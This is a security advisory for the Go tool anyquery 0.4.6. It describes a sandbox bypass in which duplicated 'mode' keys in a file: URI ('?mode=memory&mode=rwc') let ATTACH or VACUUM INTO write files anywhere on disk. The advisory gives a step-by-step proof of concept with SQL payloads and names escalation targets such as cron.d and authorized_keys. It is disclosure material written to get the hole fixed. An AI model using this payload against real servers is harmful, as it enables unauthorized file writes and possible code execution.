Skip to content

Server-mode sandbox arbitrary file write via ATTACH / VACUUM INTO with `?mode=memory&mode=rwc`

High
julien040 published GHSA-7jrp-4mmv-mw39 Aug 5, 2026

Package

gomod github.com/julien040/anyquery (Go)

Affected versions

0.4.6

Patched versions

0.5.0

Description

Summary

Any client that can run SQL against a network-facing anyquery surface (the MySQL-protocol server, the gpt tunnel, or a network-exposed mcp) can write files to an arbitrary absolute path outside the sandbox — even under the default, fully locked-down policy where disk ATTACH / VACUUM INTO are supposed to be denied and --allow-dirs is empty.

The sandbox authorizes an ATTACH / VACUUM INTO target if it looks like an in-memory database, before it applies the disk-write restriction. It decides "in-memory" with Go's url.Query().Get("mode"), which returns the first value of a repeated query key, while SQLite (which actually opens the file) uses the last. The target file:/path?mode=memory&mode=rwc is therefore judged in-memory and allowed, but opened read-write-create on disk. This is the same first-vs-last / parser-differential class as the read-path file:-scheme bug fixed in 0.4.6, on the write path the fix left untouched — a bypass of the arbitrary-file-write protection added for CVE-2026-50006.

Root Cause

The sandbox added in 0.4.5 (27f84fc) gates ATTACH DATABASE and VACUUM … INTO through the SQLite authorizer, which calls AllowAttachPath(arg1):

module/restrictions.go L135-L150:

func (r *Restrictions) AllowAttachPath(filename string) bool {
	...
	if isInMemoryDB(filename) {   // in-memory DBs are always allowed
		return true               // <-- returns BEFORE the disk-write gate
	}
	if !r.AllowAttach {           // default sandbox: AllowAttach == false
		return false
	}
	return r.checkLocalPath(attachPathToFile(filename)) == nil
}

The in-memory classifier — isInMemoryDB L155-L167 — reads the mode from the parsed file: URI:

if strings.EqualFold(u.Query().Get("mode"), "memory") {   // Go: FIRST value of a repeated key
	return true
}

net/url's Values.Get returns the first value of a repeated key, so for ?mode=memory&mode=rwc it yields memory → classified in-memory → AllowAttachPath returns true without ever reaching the !r.AllowAttach deny. SQLite's URI parser resolves the last mode (rwc = read-write-create) and opens the path on disk, creating the file at whatever absolute path the attacker chose — outside the (empty) --allow-dirs.

The existing hardening does not catch it: the 0.4.6 comment on isInMemoryDB notes it defends the substring case (file:/etc/cron.d/pwn?x=mode=memory), and the 0.4.6 read-path fix b3844d9 addressed the analogous mismatch for CheckSource reads — but neither closes the duplicate-mode write path. The project's own namespace/sandbox_test.go and sandbox_mysql_test.go pass unchanged.

Steps to Reproduce

Prerequisites

  • Go 1.26+ (go version)
  • git
  • A C compiler for CGo (Xcode CLT / gcc / clang)

Step 1: Build anyquery at the latest release

mkdir /tmp/anyquery-afw && cd /tmp/anyquery-afw
git clone --depth 1 --branch 0.4.6 https://github.com/julien040/anyquery repo
cd repo
make    # builds ./main.out with the release tags (vtable fts5 sqlite_json sqlite_math_functions)

Step 2: Confirm the sandbox is active (baseline — a plain path is denied)

The default --sandbox policy has an empty allow-dir list, so any disk write must be refused.

mkdir -p /tmp/anyquery-afw/loot
./main.out query --sandbox -q "ATTACH DATABASE '/tmp/anyquery-afw/loot/baseline.db' AS b"
test -f /tmp/anyquery-afw/loot/baseline.db && echo "BASELINE_FILE_EXISTS" || echo "BASELINE_DENIED_NO_FILE"

Expected output:

not authorized
BASELINE_DENIED_NO_FILE

Step 3: Bypass — write an attacker-controlled file outside the sandbox

./main.out query --sandbox -q "CREATE TABLE payload(data TEXT); INSERT INTO payload VALUES('ARBITRARY_WRITE_SENTINEL_ssh_rsa_AAAA'); VACUUM main INTO 'file:/tmp/anyquery-afw/loot/pwned.db?mode=memory&mode=rwc'"
test -f /tmp/anyquery-afw/loot/pwned.db && echo "FILE_CREATED_OUTSIDE_SANDBOX"
grep -ao 'ARBITRARY_WRITE_SENTINEL_ssh_rsa_AAAA' /tmp/anyquery-afw/loot/pwned.db

Expected output:

Query executed successfully (0 row affected)

Query executed successfully (1 row affected)

FILE_CREATED_OUTSIDE_SANDBOX
ARBITRARY_WRITE_SENTINEL_ssh_rsa_AAAA

The sandbox denied the plain path in Step 2 but wrote a real, attacker-seeded SQLite file to the same forbidden directory in Step 3. ATTACH DATABASE 'file:/tmp/anyquery-afw/loot/pwned2.db?mode=memory&mode=rwc' AS x likewise creates the file.

anyquery query --sandbox applies the identical module.Restrictions{} policy and installs the identical namespace authorizer that anyquery server / gpt enable by default; the same statements sent over the MySQL protocol to anyquery server (no auth by default) reproduce the write (the maintainer's sandbox_mysql_test.go drives ATTACH/VACUUM through that exact path).

Suggested Fix

Classify in-memory targets the way SQLite resolves them, not the way net/url does. Options:

  • In isInMemoryDB, reject any target whose mode key appears more than once (u.Query()["mode"] length > 1), and/or read the last mode value to match SQLite; also treat any explicit disk mode (ro/rw/rwc) as not-in-memory regardless of an earlier memory.
  • Defense in depth: move the isInMemoryDB allowance to after an unconditional check that the resolved path is either a pure in-memory form (:memory:, mode=memory with no conflicting mode) or contained in --allow-dirs; never let an in-memory classification alone authorize a file: URI that also carries a disk access mode.

Cleanup

rm -rf /tmp/anyquery-afw

Impact

Arbitrary file write as the anyquery process, from any client permitted to run SQL, defeating the default-on Server-Mode sandbox that exists precisely to prevent this (website/src/content/docs/docs/usage/sandbox.md calls ATTACH / VACUUM INTO "arbitrary-file-write primitives" and denies disk writes unless --allow-attach is set). The attacker chooses the absolute path and, via VACUUM INTO of a self-seeded main (Step 3), influences the file's contents. Writing to a location that is later executed or parsed — a shell rc, a cron.d/systemd unit, an authorized_keys, a config or plugin file anyquery itself loads — escalates to remote code execution, matching this advisory series' "arbitrary file write which could lead to RCE" framing (raising the score to Critical). No authentication is required in the default server configuration, and no victim interaction or misconfiguration is involved — the bug is a bypass of the hardening itself.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CVE ID

No known CVE

Weaknesses

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

Interpretation Conflict

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state. Learn more on MITRE.

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

Credits